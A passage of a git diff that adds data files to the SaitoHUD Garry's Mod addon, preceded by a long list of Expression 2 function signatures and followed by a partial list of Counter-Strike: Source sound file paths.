+op:idx(xgt=ts) +writeString(xwl:snnnv) +asin(c) +ang(nnn) +op:idx(q=ts) +mRotation(vn) +changed(q) +dsClkName() +dsGetQuaternion() +qRotation(vn) +select(nxv4...) +op:is(xrd) +string(xwl:s) +op:idx(q=xgtsq) +dsSend(ssxm4) +holoColor(nv) +op:exp(qn) +select(nxrd...) +findExcludeEntities(r) +distance2(xv4:xv4) +number(xwl:s) +boxSize(e:) +op:add(xv2xv2) +holoIndex(e) +dsSendDirect(seb) +angle(xwl:s) +op:is(xm2) +dsSend(ssxwl) +find() +csqrt(n) +fileCanLoad() +toWorldAxis(e:v) +elevation(e:v) +dsSend(ssq) +secr(n) +isSuperAdmin(e:) +vector2(xwl:s) +adj(xm2) +toString(e) +owner(e:) +dsSendDirect(srxv2) +op:idx(xv4=xgtnxv4) +npcGetTarget(e:) +sign(n) +vector(r:n) +dsGetBone() +dehomogenized(v:) +applyTorque(e:v) +dsSendDirect(set) +gRemoveAllAngles() +setVector2(r:nxv2) +applyAngForce(e:a) +mod(xv4xv4) +vec2() +op:idx(xrd=xwls) +writeString(xwl:snnnnn) +attachmentAng(e:s) +op:idx(r=xwlsr) +npcGoWalk(e:v) +op:exp(cn) +adj(m) +setVector(t:sv) +cotr(n) +op:idx(xrd=xgtsxrd) +rangerAngleHull(nnnv) +column(xm2:n) +op:idx(v=tsv) +toChar(n) +popBone(r:) +round(an) +npcStop(e:) +matrix(r:n) +typeids(t:) +gRemoveAllComplexs() +gDeleteAllEnt() +op:neg(v) +op:is(b) +vec4(nnnn) +rangerAngle(nnn) +floor(v) +op:idx(xm4=ts) +holoColor(nxv4) diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/friends.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/friends.txt new file mode 100644 index 0000000..e69de29 diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/css.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/css.txt new file mode 100644 index 0000000..92ec989 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/css.txt @@ -0,0 +1,1169 @@ +ambient/3dmeagle.wav +ambient/guit1.wav +ambient/Opera.wav +ambient/sheep.wav +ambient/tankidle2.wav +ambient/trailer_wndinsidepark_loop.wav +ambient/waterrun.wav +ambient/water_splash1.wav +ambient/water_splash2.wav +ambient/water_splash3.wav +ambient/animal/bird1.wav +ambient/animal/bird10.wav +ambient/animal/bird11.wav +ambient/animal/bird12.wav +ambient/animal/bird13.wav +ambient/animal/bird14.wav +ambient/animal/bird15.wav +ambient/animal/bird16.wav +ambient/animal/bird17.wav +ambient/animal/bird18.wav +ambient/animal/bird19.wav +ambient/animal/bird2.wav +ambient/animal/bird20.wav +ambient/animal/bird3.wav +ambient/animal/bird4.wav +ambient/animal/bird5.wav +ambient/animal/bird6.wav +ambient/animal/bird7.wav +ambient/animal/bird8.wav +ambient/animal/bird9.wav +ambient/animal/bird_flapping_1.wav +ambient/animal/bird_flapping_2.wav +ambient/animal/bird_flapping_3.wav +ambient/animal/cow.wav +ambient/animal/crickets.wav +ambient/animal/cricket_chirp_1.wav +ambient/animal/crow.wav +ambient/animal/crow_1.wav +ambient/animal/crow_2.wav +ambient/animal/dog1.wav +ambient/animal/dog2.wav +ambient/animal/dog3.wav +ambient/animal/dog4.wav +ambient/animal/dog5.wav +ambient/animal/dog6.wav +ambient/animal/dog7.wav +ambient/animal/dog_growl_behind_wall_1.wav +ambient/animal/dog_growl_behind_wall_2.wav +ambient/animal/dog_growl_behind_wall_3.wav +ambient/animal/dog_lick_chops_behind_wall_1.wav +ambient/animal/dog_med_inside_bark_1.wav +ambient/animal/dog_med_inside_bark_2.wav +ambient/animal/dog_med_inside_bark_3.wav +ambient/animal/dog_med_inside_bark_4.wav +ambient/animal/dog_med_inside_bark_5.wav +ambient/animal/dog_med_inside_bark_6.wav +ambient/animal/dog_med_inside_growl_1.wav +ambient/animal/dog_med_inside_growl_2.wav +ambient/animal/dog_med_inside_growl_3.wav +ambient/animal/dog_pant_behind_wall_1.wav +ambient/animal/dog_pant_behind_wall_2.wav +ambient/animal/dog_scratch_behind_wall_1.wav +ambient/animal/flies1.wav +ambient/animal/flies2.wav +ambient/animal/flies3.wav +ambient/animal/flies4.wav +ambient/animal/flies5.wav +ambient/animal/frog_1.wav +ambient/animal/frog_2.wav +ambient/animal/frog_3.wav +ambient/animal/horse_1.wav +ambient/animal/horse_2.wav +ambient/animal/horse_3.wav +ambient/animal/horse_4.wav +ambient/animal/horse_5.wav +ambient/animal/horse_6.wav +ambient/animal/horse_eat_1.wav +ambient/animal/horse_eat_2.wav +ambient/animal/rodent_scratch_1.wav +ambient/animal/rodent_scratch_short_1.wav +ambient/animal/rodent_scratch_short_2.wav +ambient/animal/rodent_scratch_short_3.wav +ambient/animal/snake1.wav +ambient/animal/snake2.wav +ambient/animal/snake3.wav +ambient/atmosphere/factory_loop_1.wav +ambient/atmosphere/garage_tone.wav +ambient/atmosphere/inside_lighthouse_amb.wav +ambient/chatter/arabic_radio1.wav +ambient/chatter/arabic_radio2.wav +ambient/chatter/arabic_radio3.wav +ambient/chatter/arabic_radio4.wav +ambient/chatter/arabic_radio5.wav +ambient/chatter/cb_radio_chatter_1.wav +ambient/chatter/cb_radio_chatter_2.wav +ambient/chatter/cb_radio_chatter_3.wav +ambient/chatter/italian_radio1.wav +ambient/chatter/italian_radio2.wav +ambient/chatter/italian_radio3.wav +ambient/chatter/italian_radio4.wav +ambient/chatter/italian_radio5.wav +ambient/chatter/spanish_radio1.wav +ambient/chatter/spanish_radio2.wav +ambient/chatter/spanish_radio3.wav +ambient/chatter/spanish_radio4.wav +ambient/chatter/spanish_radio5.wav +ambient/machines/60HzHum.wav +ambient/machines/air_conditioner_cycle.wav +ambient/machines/air_conditioner_loop_1.wav +ambient/machines/big_truck.wav +ambient/machines/deep_boil.wav +ambient/machines/diesel_1.wav +ambient/machines/electrical_hum_2.wav +ambient/machines/engine1.wav +ambient/machines/fluorescent_hum_1.wav +ambient/machines/fluorescent_hum_2.wav +ambient/machines/gas_loop_1.wav +ambient/machines/hydraulic_1.wav +ambient/machines/machine2.wav +ambient/machines/pneumatic_drill_1.wav +ambient/machines/pneumatic_drill_2.wav +ambient/machines/pneumatic_drill_3.wav +ambient/machines/pneumatic_drill_4.wav +ambient/machines/power_transformer_loop_1.wav +ambient/machines/power_transformer_loop_2.wav +ambient/machines/pump_loop_1.wav +ambient/machines/refinery_loop_1.wav +ambient/machines/refrigerator.wav +ambient/machines/squeak_1.wav +ambient/machines/squeak_2.wav +ambient/machines/squeak_3.wav +ambient/machines/squeak_4.wav +ambient/machines/squeak_5.wav +ambient/machines/squeak_6.wav +ambient/machines/squeak_7.wav +ambient/machines/squeak_8.wav +ambient/machines/steam_release_1.wav +ambient/machines/steam_release_2.wav +ambient/machines/TickTock.wav +ambient/machines/train_horn_1.wav +ambient/machines/train_horn_2.wav +ambient/machines/train_horn_3.wav +ambient/machines/train_pass_1.wav +ambient/machines/train_pass_2.wav +ambient/machines/train_pass_3.wav +ambient/machines/train_pass_far.wav +ambient/machines/turbine_loop_1.wav +ambient/machines/turbine_loop_2.wav +ambient/machines/zap1.wav +ambient/machines/zap2.wav +ambient/machines/zap3.wav +ambient/misc/ambulance1.wav +ambient/misc/brass_bell_C.wav +ambient/misc/brass_bell_D.wav +ambient/misc/brass_bell_E.wav +ambient/misc/brass_bell_F.wav +ambient/misc/car1.wav +ambient/misc/car2.wav +ambient/misc/carhonk1.wav +ambient/misc/carhonk2.wav +ambient/misc/carhonk3.wav +ambient/misc/clank1.wav +ambient/misc/clank2.wav +ambient/misc/clank3.wav +ambient/misc/clank4.wav +ambient/misc/crane_move1.wav +ambient/misc/creak1.wav +ambient/misc/creak2.wav +ambient/misc/creak3.wav +ambient/misc/creak4.wav +ambient/misc/creak5.wav +ambient/misc/engine1.wav +ambient/misc/equipment_stress1.wav +ambient/misc/equipment_stress2.wav +ambient/misc/equipment_stress3.wav +ambient/misc/flour_light.wav +ambient/misc/flour_light_loud.wav +ambient/misc/flush1.wav +ambient/misc/garbage_truck1.wav +ambient/misc/hammer1.wav +ambient/misc/hammer2.wav +ambient/misc/hammer3.wav +ambient/misc/metal2.wav +ambient/misc/metal3.wav +ambient/misc/metal6.wav +ambient/misc/metal7.wav +ambient/misc/metal8.wav +ambient/misc/metal9.wav +ambient/misc/metal_rattle1.wav +ambient/misc/metal_rattle3.wav +ambient/misc/metal_rattle4.wav +ambient/misc/metal_str1.wav +ambient/misc/metal_str2.wav +ambient/misc/metal_str3.wav +ambient/misc/metal_str4.wav +ambient/misc/metal_str5.wav +ambient/misc/police1.wav +ambient/misc/rock1.wav +ambient/misc/rock2.wav +ambient/misc/rock3.wav +ambient/misc/shutter1.wav +ambient/misc/shutter2.wav +ambient/misc/shutter3.wav +ambient/misc/shutter4.wav +ambient/misc/shutter5.wav +ambient/misc/shutter6.wav +ambient/misc/shutter7.wav +ambient/misc/shutter8.wav +ambient/misc/tink1.wav +ambient/misc/toilet_refill_loop.wav +ambient/misc/truck_backup1.wav +ambient/misc/truck_drive1.wav +ambient/misc/truck_drive2.wav +ambient/misc/wood1.wav +ambient/misc/wood2.wav +ambient/misc/wood3.wav +ambient/misc/wood4.wav +ambient/misc/wood5.wav +ambient/misc/wood6.wav +ambient/music/bongo.wav +ambient/music/country_rock_am_radio_loop.wav +ambient/music/cubanmusic1.wav +ambient/music/dustmusic1.wav +ambient/music/dustmusic2.wav +ambient/music/dustmusic3.wav +ambient/music/flamenco.wav +ambient/music/latin.wav +ambient/music/mirame_radio_thru_wall.wav +ambient/music/piano1.wav +ambient/music/piano2.wav +ambient/nature/Waterfall_MediumLoop05.wav +ambient/nature/water_gently_lapping.wav +ambient/nature/Water_StreamLoop3.wav +ambient/nature/wind_leaves_mild_gust_1.wav +ambient/nature/woodland_ambient_1.wav +ambient/nature/fire/fire_small1.wav +ambient/office/button1.wav +ambient/office/coinslot1.wav +ambient/office/lever6.wav +ambient/office/OfficeNews.wav +ambient/office/zap1.wav +ambient/overhead/hel1.wav +ambient/overhead/hel2.wav +ambient/overhead/plane1.wav +ambient/overhead/plane2.wav +ambient/overhead/plane3.wav +ambient/tones/elev1.wav +ambient/tones/elev2.wav +ambient/tones/elev3.wav +ambient/tones/elev4.wav +ambient/tones/equip1.wav +ambient/tones/equip2.wav +ambient/tones/equip3.wav +ambient/tones/equip4.wav +ambient/tones/equip5.wav +ambient/tones/fan1.wav +ambient/tones/fan2_loop.wav +ambient/tones/floor1.wav +ambient/tones/floor2.wav +ambient/tones/floor3.wav +ambient/tones/garage.wav +ambient/tones/industrial1_loop.wav +ambient/tones/industrial2_loop.wav +ambient/tones/industrial3_loop.wav +ambient/tones/lab_loop1.wav +ambient/tones/pipes.wav +ambient/tones/pipes2.wav +ambient/tones/projector.wav +ambient/tones/roomtone1.wav +ambient/tones/roomtone2.wav +ambient/tones/roomtone3.wav +ambient/tones/steam_loop1.wav +ambient/tones/tunnel_wind_loop.wav +ambient/tones/under1.wav +ambient/tones/under2.wav +ambient/weather/drip1.wav +ambient/weather/drip2.wav +ambient/weather/drip3.wav +ambient/weather/drip4.wav +ambient/weather/drip_loop1.wav +ambient/weather/lake_water.wav +ambient/weather/rain_drip1.wav +ambient/weather/rain_drip2.wav +ambient/weather/rain_drip3.wav +ambient/weather/rain_drip4.wav +ambient/weather/rain_drip5.wav +ambient/weather/rumble_rain.wav +ambient/weather/rumble_rain_nowind.wav +ambient/weather/thunder1.wav +ambient/weather/thunder2.wav +ambient/weather/thunder3.wav +ambient/weather/thunder4.wav +ambient/weather/thunder5.wav +ambient/weather/thunder6.wav +ambient/weather/water_run1.wav +ambient/wind/dry_air_short.wav +ambient/wind/dry_air_short_indoors.wav +ambient/wind/dry_air_short_tunnel.wav +ambient/wind/lightwind.wav +ambient/wind/smallgust.wav +ambient/wind/smallgust2.wav +ambient/wind/wind1.wav +ambient/wind/wind_bass.wav +ambient/wind/wind_gusty1.wav +ambient/wind/wind_gust_10.wav +ambient/wind/wind_gust_2.wav +ambient/wind/wind_gust_8.wav +ambient/wind/wind_med1.wav +ambient/wind/wind_med2.wav +ambient/wind/wind_outdoors_1.wav +ambient/wind/wind_tunnel1.wav +bot/a.wav +bot/aah.wav +bot/affirmative.wav +bot/ahh_negative.wav +bot/airplane.wav +bot/alley.wav +bot/all_clear_here.wav +bot/all_quiet.wav +bot/alright.wav +bot/alright2.wav +bot/alright_lets_do_this.wav +bot/and_thats_how_its_done.wav +bot/anyone_see_anything.wav +bot/anyone_see_them.wav +bot/apartment.wav +bot/apartments.wav +bot/area_clear.wav +bot/area_secure.wav +bot/atrium.wav +bot/attacking.wav +bot/attacking_enemies.wav +bot/attic.wav +bot/aww_man.wav +bot/aw_hell.wav +bot/a_bunch_of_them.wav +bot/b.wav +bot/back.wav +bot/back_alley.wav +bot/back_door.wav +bot/back_hall.wav +bot/back_room.wav +bot/back_way.wav +bot/back_yard.wav +bot/balcony.wav +bot/basement.wav +bot/bathroom.wav +bot/bathroom2.wav +bot/bedroom.wav +bot/bedroom2.wav +bot/be_right_there.wav +bot/big_office.wav +bot/bombsite.wav +bot/bombsite2.wav +bot/bombsite_secure.wav +bot/bombsite_secured.wav +bot/bombsite_secure_ready_for_you.wav +bot/bombsite_under_control.wav +bot/bombs_on_the_ground.wav +bot/bombs_on_the_ground_here.wav +bot/bridge.wav +bot/bunker.wav +bot/c.wav +bot/camping_hostages.wav +bot/clear.wav +bot/clear2.wav +bot/clear3.wav +bot/clear4.wav +bot/come_out_and_fight_like_a_man.wav +bot/come_out_wherever_you_are.wav +bot/come_to_papa.wav +bot/computer_room.wav +bot/conference_room.wav +bot/courtyard.wav +bot/cover_me.wav +bot/cover_me2.wav +bot/crates.wav +bot/crawlspace.wav +bot/ct_spawn.wav +bot/cut_it_out.wav +bot/deck.wav +bot/defusing.wav +bot/defusing_bomb.wav +bot/defusing_bomb_now.wav +bot/den.wav +bot/dont_worry_hell_get_it.wav +bot/double_doors.wav +bot/downstairs.wav +bot/do_not_mess_with_me.wav +bot/dropped_him.wav +bot/dumpster.wav +bot/elevator.wav +bot/elevator2.wav +bot/enemy_down.wav +bot/enemy_down2.wav +bot/engaging_enemies.wav +bot/entrance.wav +bot/entryway.wav +bot/family_room.wav +bot/far_side.wav +bot/fence.wav +bot/foyer.wav +bot/front.wav +bot/front_door.wav +bot/front_door2.wav +bot/front_hall.wav +bot/front_room.wav +bot/front_yard.wav +bot/garage.wav +bot/gate.wav +bot/gatehouse.wav +bot/going_to_plant_the_bomb_at_b.wav +bot/good_idea.wav +bot/good_job_team.wav +bot/good_one.wav +bot/good_one2.wav +bot/good_one_sir.wav +bot/good_one_sir2.wav +bot/good_shot.wav +bot/good_shot2.wav +bot/good_shot_commander.wav +bot/good_shot_commander2.wav +bot/got_him.wav +bot/got_the_sniper.wav +bot/got_the_sniper2.wav +bot/great.wav +bot/guardhouse.wav +bot/guarding_a.wav +bot/guarding_b.wav +bot/guarding_c.wav +bot/guarding_hostages.wav +bot/guarding_the_dropped_bomb.wav +bot/guarding_the_escape_zone.wav +bot/guarding_the_escape_zone2.wav +bot/guarding_the_hostages.wav +bot/hang_on_im_coming.wav +bot/hang_on_i_heard_something.wav +bot/heading_to_a.wav +bot/heading_to_b.wav +bot/heading_to_c.wav +bot/heading_to_the_escape_zone.wav +bot/heading_to_the_rescue_zone.wav +bot/help.wav +bot/hes_broken.wav +bot/hes_dead.wav +bot/hes_done.wav +bot/hes_down.wav +bot/hes_got_the_bomb.wav +bot/hes_got_the_bomb2.wav +bot/hes_got_the_package.wav +bot/hey.wav +bot/hey2.wav +bot/he_got_away.wav +bot/he_got_away2.wav +bot/hold_your_fire.wav +bot/hostages2.wav +bot/hostages_secure_ready_for_you.wav +bot/hostage_down.wav +bot/house.wav +bot/ill_come_with_you.wav +bot/ill_go_too.wav +bot/ill_go_with_you.wav +bot/im_at_the_escape_zone.wav +bot/im_at_the_hostages.wav +bot/im_blind.wav +bot/im_camping_a.wav +bot/im_camping_b.wav +bot/im_camping_c.wav +bot/im_coming.wav +bot/im_going_to_camp.wav +bot/im_going_to_camp_a.wav +bot/im_going_to_camp_b.wav +bot/im_going_to_camp_c.wav +bot/im_going_to_camp_the_hostages.wav +bot/im_going_to_cover_the_escape_zone.wav +bot/im_going_to_guard_bombsite_a.wav +bot/im_going_to_guard_bombsite_b.wav +bot/im_going_to_guard_bombsite_c.wav +bot/im_going_to_guard_the_bomb.wav +bot/im_going_to_guard_the_bomb2.wav +bot/im_going_to_guard_the_hostages.wav +bot/im_going_to_guard_the_hostages2.wav +bot/im_going_to_keep_an_eye_on_the_bomb.wav +bot/im_going_to_keep_an_eye_on_the_escape.wav +bot/im_going_to_keep_an_eye_on_the_rescue.wav +bot/im_going_to_wait_here.wav +bot/im_going_to_watch_the_bomb.wav +bot/im_going_to_watch_the_escape_zone.wav +bot/im_going_to_watch_the_rescue_zone.wav +bot/im_gonna_go_plant.wav +bot/im_gonna_go_plant_the_bomb.wav +bot/im_gonna_hang_back.wav +bot/im_gonna_plant_the_bomb_at_a.wav +bot/im_gonna_plant_the_bomb_at_b.wav +bot/im_gonna_plant_the_bomb_at_c.wav +bot/im_gonna_plant_the_bomb_at_c2.wav +bot/im_in_trouble.wav +bot/im_on_your_side.wav +bot/im_pinned_down.wav +bot/im_waiting_here.wav +bot/im_with_the_hostages.wav +bot/im_with_the_hostages2.wav +bot/im_with_you.wav +bot/inside.wav +bot/in_combat.wav +bot/in_combat2.wav +bot/its_all_up_to_you_sir.wav +bot/its_a_party.wav +bot/ive_been_blinded.wav +bot/ive_got_the_bomb.wav +bot/ive_got_the_bomb_here.wav +bot/ive_got_the_hostages.wav +bot/i_am_dangerous.wav +bot/i_am_on_fire.wav +bot/i_cant_see.wav +bot/i_could_use_some_help.wav +bot/i_could_use_some_help_over_here.wav +bot/i_dont_know_where_he_went.wav +bot/i_dont_think_so.wav +bot/i_got_a_covered.wav +bot/i_got_b_covered.wav +bot/i_got_c_covered.wav +bot/i_got_more_where_that_came_from.wav +bot/i_got_nothing.wav +bot/i_got_your_back.wav +bot/i_got_your_back2.wav +bot/i_have_the_hostages.wav +bot/i_heard_something_over_there.wav +bot/i_heard_them.wav +bot/i_hear_something.wav +bot/i_hear_them.wav +bot/i_lost_him.wav +bot/i_see_our_target.wav +bot/i_see_the_bomber.wav +bot/i_wasnt_worried_for_a_minute.wav +bot/keeping_an_eye_on_the_hostages.wav +bot/killed_him.wav +bot/kitchen.wav +bot/kitchen2.wav +bot/ladder.wav +bot/lead_on_commander.wav +bot/lead_on_sir.wav +bot/lead_the_way.wav +bot/lead_the_way_commander.wav +bot/lead_the_way_sir.wav +bot/lets_hold_up_here_for_a_minute.wav +bot/lets_wait_here.wav +bot/little_office.wav +bot/living_room.wav +bot/loading_dock.wav +bot/lobby.wav +bot/loft.wav +bot/long_hall.wav +bot/look_out_brag.wav +bot/made_him_cry.wav +bot/main_hall.wav +bot/market.wav +bot/market2.wav +bot/meeting_room.wav +bot/me_too.wav +bot/middle.wav +bot/mines.wav +bot/my_eyes.wav +bot/naa.wav +bot/need_help.wav +bot/need_help2.wav +bot/negative.wav +bot/negative2.wav +bot/neutralized.wav +bot/nice.wav +bot/nice2.wav +bot/nice_one_commander.wav +bot/nice_one_sir.wav +bot/nice_shot.wav +bot/nice_shot2.wav +bot/nice_shot_commander.wav +bot/nice_shot_commander2.wav +bot/nice_shot_sir.wav +bot/nice_work_team.wav +bot/nnno_sir.wav +bot/no.wav +bot/no2.wav +bot/noo.wav +bot/nothing.wav +bot/nothing_happening_over_here.wav +bot/nothing_here.wav +bot/nothing_moving_over_here.wav +bot/no_sir.wav +bot/no_thanks.wav +bot/office.wav +bot/oh.wav +bot/oh_boy.wav +bot/oh_boy2.wav +bot/oh_man.wav +bot/oh_my_god.wav +bot/oh_no.wav +bot/oh_no_sad.wav +bot/oh_yea.wav +bot/oh_yea2.wav +bot/ok.wav +bot/ok2.wav +bot/ok_cmdr_lets_go.wav +bot/ok_sir_lets_go.wav +bot/old_mines.wav +bot/one_guy.wav +bot/one_guy_left.wav +bot/on_my_way.wav +bot/on_my_way2.wav +bot/ouch.wav +bot/outside.wav +bot/overpass.wav +bot/ow.wav +bot/owned.wav +bot/ow_its_me.wav +bot/pain10.wav +bot/pain2.wav +bot/pain4.wav +bot/pain5.wav +bot/pain8.wav +bot/pain9.wav +bot/patio.wav +bot/planting.wav +bot/planting_at_a.wav +bot/planting_at_b.wav +bot/planting_at_c.wav +bot/planting_the_bomb.wav +bot/please_defuse_the_bomb_sir.wav +bot/porch.wav +bot/projector_room.wav +bot/ramp.wav +bot/ramp2.wav +bot/rear.wav +bot/reporting_in.wav +bot/report_in_team.wav +bot/rescue_zone.wav +bot/rescue_zone2.wav +bot/rescuing_hostages.wav +bot/returning_fire.wav +bot/roger.wav +bot/roger_that.wav +bot/roof.wav +bot/ruined_his_day.wav +bot/security_doors.wav +bot/sewers.wav +bot/sewers2.wav +bot/side.wav +bot/side_alley.wav +bot/side_door.wav +bot/side_hall.wav +bot/side_room.wav +bot/side_yard.wav +bot/sir_defuse_the_bomb.wav +bot/sniper.wav +bot/sniper2.wav +bot/sniper_down.wav +bot/sounds_like_a_plan.wav +bot/spotted_the_delivery_boy.wav +bot/stairs.wav +bot/stairwell.wav +bot/stop_it.wav +bot/storage_room.wav +bot/tag_them_and_bag_them.wav +bot/taking_fire_need_assistance2.wav +bot/taking_the_bomb_to_a.wav +bot/taking_the_bomb_to_b.wav +bot/taking_the_bomb_to_c.wav +bot/taking_the_hostages_to_safety.wav +bot/talking_to_hostages.wav +bot/target_acquired.wav +bot/target_spotted.wav +bot/thats_not_good.wav +bot/thats_right.wav +bot/thats_the_way_this_is_done.wav +bot/that_was_a_close_one.wav +bot/that_was_it.wav +bot/that_was_the_last_guy.wav +bot/that_was_the_last_one.wav +bot/theres_nobody_home.wav +bot/theres_not_much_time_left.wav +bot/theres_one_left.wav +bot/theres_the_bomb.wav +bot/theres_the_bomb2.wav +bot/theres_the_bomber.wav +bot/theres_too_many.wav +bot/theres_too_many_of_them.wav +bot/theyre_all_over_the_place2.wav +bot/theyre_everywhere2.wav +bot/theyre_rescuing_the_hostages.wav +bot/theyre_taking_the_hostages.wav +bot/theyre_with_the_hostages.wav +bot/theyve_got_the_hostages.wav +bot/they_dropped_the_bomb.wav +bot/they_got_me_pinned_down_here.wav +bot/they_got_the_bomb.wav +bot/they_never_knew_what_hit_them.wav +bot/they_picked_up_the_bomb.wav +bot/they_took_the_bomb.wav +bot/they_took_the_bomb2.wav +bot/they_took_the_hostages.wav +bot/they_will_not_escape.wav +bot/they_wont_get_away.wav +bot/they_wont_get_away2.wav +bot/the_actions_hot_here.wav +bot/the_bombs_at_a.wav +bot/the_bombs_at_b.wav +bot/the_bombs_at_c.wav +bot/the_bombs_here.wav +bot/the_bombs_here_on_the_ground.wav +bot/the_bombs_ticking_at_a.wav +bot/the_bombs_ticking_at_b.wav +bot/the_bombs_ticking_at_c.wav +bot/the_bomb_is_down.wav +bot/the_bomb_is_on_the_ground.wav +bot/the_commander_is_down.wav +bot/the_commander_is_down_repeat.wav +bot/the_hostages_are_eager.wav +bot/the_hostages_are_gone.wav +bot/the_hostages_are_ready.wav +bot/the_hostages_are_waiting.wav +bot/the_hostages_are_with_me.wav +bot/the_sniper_is_dead.wav +bot/this_is_my_house.wav +bot/three.wav +bot/three_left.wav +bot/three_of_them.wav +bot/three_to_go.wav +bot/three_to_go2.wav +bot/time_is_running_out.wav +bot/time_is_running_out2.wav +bot/took_him_down.wav +bot/took_him_out.wav +bot/took_him_out2.wav +bot/took_out_the_sniper.wav +bot/too_many2.wav +bot/tower.wav +bot/truck.wav +bot/tunnel.wav +bot/tunnel2.wav +bot/two_enemies_left.wav +bot/two_of_them.wav +bot/two_to_go.wav +bot/t_spawn.wav +bot/uh_oh.wav +bot/uh_sir_the_bomb.wav +bot/underground.wav +bot/underpass.wav +bot/upstairs.wav +bot/vault.wav +bot/vending_machines.wav +bot/vending_machines2.wav +bot/ventilation_system.wav +bot/vents.wav +bot/vents2.wav +bot/very_nice.wav +bot/villiage.wav +bot/wall.wav +bot/wasted_him.wav +bot/watching_the_escape_route.wav +bot/watching_the_escape_zone.wav +bot/watching_the_hostages.wav +bot/watch_it_theres_a_sniper.wav +bot/water.wav +bot/way_to_be_team.wav +bot/well_cover_you_while_you_defuse.wav +bot/well_cover_you_you_defuse.wav +bot/well_done.wav +bot/weve_got_the_situation.wav +bot/weve_lost_the_commander.wav +bot/we_gotta_find_that_bomb.wav +bot/we_need_you_to_defuse_that_bomb_sir.wav +bot/we_owned_them.wav +bot/what_are_you_doing.wav +bot/what_happened.wav +bot/what_have_you_done.wav +bot/wheres_the_bomb.wav +bot/wheres_the_bomb2.wav +bot/wheres_the_bomb3.wav +bot/where_are_they.wav +bot/where_are_the_hostages.wav +bot/where_are_you_hiding.wav +bot/where_could_they_be.wav +bot/where_is_it.wav +bot/whew_that_was_close.wav +bot/whoa.wav +bot/whoo.wav +bot/whoo2.wav +bot/whos_the_man.wav +bot/who_wants_some_more.wav +bot/window.wav +bot/windows.wav +bot/wine_cellar.wav +bot/yea_baby.wav +bot/yea_ok.wav +bot/yesss.wav +bot/yesss2.wav +bot/yikes.wav +bot/you_heard_the_man_lets_go.wav +buttons/bell1.wav +buttons/blip2.wav +buttons/button11.wav +buttons/latchunlocked2.wav +buttons/weapon_cant_buy.wav +buttons/weapon_confirm.wav +common/bass.wav +common/center.wav +common/frontleft.wav +common/frontright.wav +common/left.wav +common/rearleft.wav +common/rearright.wav +common/right.wav +common/stuck1.wav +common/stuck2.wav +common/talk.wav +common/use_deny.WAV +common/wpn_hudoff.WAV +doors/door_metal_gate_close1.wav +doors/door_metal_gate_move1.wav +doors/door_metal_gate_move2.wav +hostage/hpain/hpain1.wav +hostage/hpain/hpain2.wav +hostage/hpain/hpain3.wav +hostage/hpain/hpain4.wav +hostage/hpain/hpain5.wav +hostage/hpain/hpain6.wav +hostage/hunuse/comeback.wav +hostage/hunuse/dontleaveme.wav +hostage/hunuse/illstayhere.wav +hostage/hunuse/notleaveme.wav +hostage/hunuse/yeahillstay.wav +hostage/huse/getouttahere.wav +hostage/huse/illfollow.wav +hostage/huse/letsdoit.wav +hostage/huse/letsgo.wav +hostage/huse/letshurry.wav +hostage/huse/letsmove.wav +hostage/huse/okletsgo.wav +hostage/huse/youlead.wav +items/ammopickup.wav +items/defuser_equip.wav +items/equip_nvg.wav +items/flashlight1.wav +items/itempickup.wav +items/nvg_off.wav +items/nvg_on.wav +physics/body/body_medium_strain1.wav +physics/body/body_medium_strain2.wav +physics/body/body_medium_strain3.wav +physics/cardboard/cardboard_box_break1.wav +physics/cardboard/cardboard_box_break2.wav +physics/cardboard/cardboard_box_break3.wav +physics/cardboard/cardboard_box_shake1.wav +physics/cardboard/cardboard_box_shake2.wav +physics/cardboard/cardboard_box_shake3.wav +physics/cardboard/cardboard_box_strain1.wav +physics/cardboard/cardboard_box_strain2.wav +physics/cardboard/cardboard_box_strain3.wav +physics/glass/glass_strain1.wav +physics/glass/glass_strain2.wav +physics/glass/glass_strain3.wav +physics/glass/glass_strain4.wav +physics/metal/canister_roll_loop1.wav +physics/metal/chain_impact_hard1.wav +physics/metal/chain_impact_hard2.wav +physics/metal/chain_impact_soft1.wav +physics/metal/chain_impact_soft2.wav +physics/metal/chain_impact_soft3.wav +physics/metal/chain_scrape_rough_loop1.wav +physics/metal/metal_grenade_roll_loop1.wav +physics/metal/metal_popcan_impact_hard1.wav +physics/metal/metal_popcan_impact_hard2.wav +physics/metal/metal_popcan_impact_hard3.wav +physics/metal/paintcan_roll_loop1.wav +physics/plastic/plastic_barrel_break1.wav +physics/plastic/plastic_barrel_break2.wav +physics/plastic/plastic_barrel_roll_loop1.wav +physics/plastic/plastic_barrel_strain1.wav +physics/plastic/plastic_barrel_strain2.wav +physics/plastic/plastic_barrel_strain3.wav +physics/plastic/plastic_box_strain1.wav +physics/plastic/plastic_box_strain2.wav +physics/plastic/plastic_box_strain3.wav +physics/rubber/rubber_tire_strain1.wav +physics/rubber/rubber_tire_strain2.wav +physics/rubber/rubber_tire_strain3.wav +physics/wood/wood_strain1.wav +physics/wood/wood_strain2.wav +physics/wood/wood_strain3.wav +physics/wood/wood_strain4.wav +physics/wood/wood_strain5.wav +physics/wood/wood_strain6.wav +physics/wood/wood_strain7.wav +physics/wood/wood_strain8.wav +player/bhit_helmet-1.wav +player/damage1.wav +player/damage2.wav +player/damage3.wav +player/death1.wav +player/death2.wav +player/death3.wav +player/death4.wav +player/death5.wav +player/death6.wav +player/headshot1.wav +player/headshot2.wav +player/kevlar1.wav +player/kevlar2.wav +player/kevlar3.wav +player/kevlar4.wav +player/kevlar5.wav +player/pl_wade1.wav +player/pl_wade2.wav +player/sprayer.wav +player/footsteps/chainlink1.wav +player/footsteps/chainlink2.wav +player/footsteps/chainlink3.wav +player/footsteps/chainlink4.wav +player/footsteps/concrete1.wav +player/footsteps/concrete2.wav +player/footsteps/concrete3.wav +player/footsteps/concrete4.wav +player/footsteps/dirt1.wav +player/footsteps/dirt2.wav +player/footsteps/dirt3.wav +player/footsteps/dirt4.wav +player/footsteps/duct1.wav +player/footsteps/duct2.wav +player/footsteps/duct3.wav +player/footsteps/duct4.wav +player/footsteps/grass1.wav +player/footsteps/grass2.wav +player/footsteps/grass3.wav +player/footsteps/grass4.wav +player/footsteps/gravel1.wav +player/footsteps/gravel2.wav +player/footsteps/gravel3.wav +player/footsteps/gravel4.wav 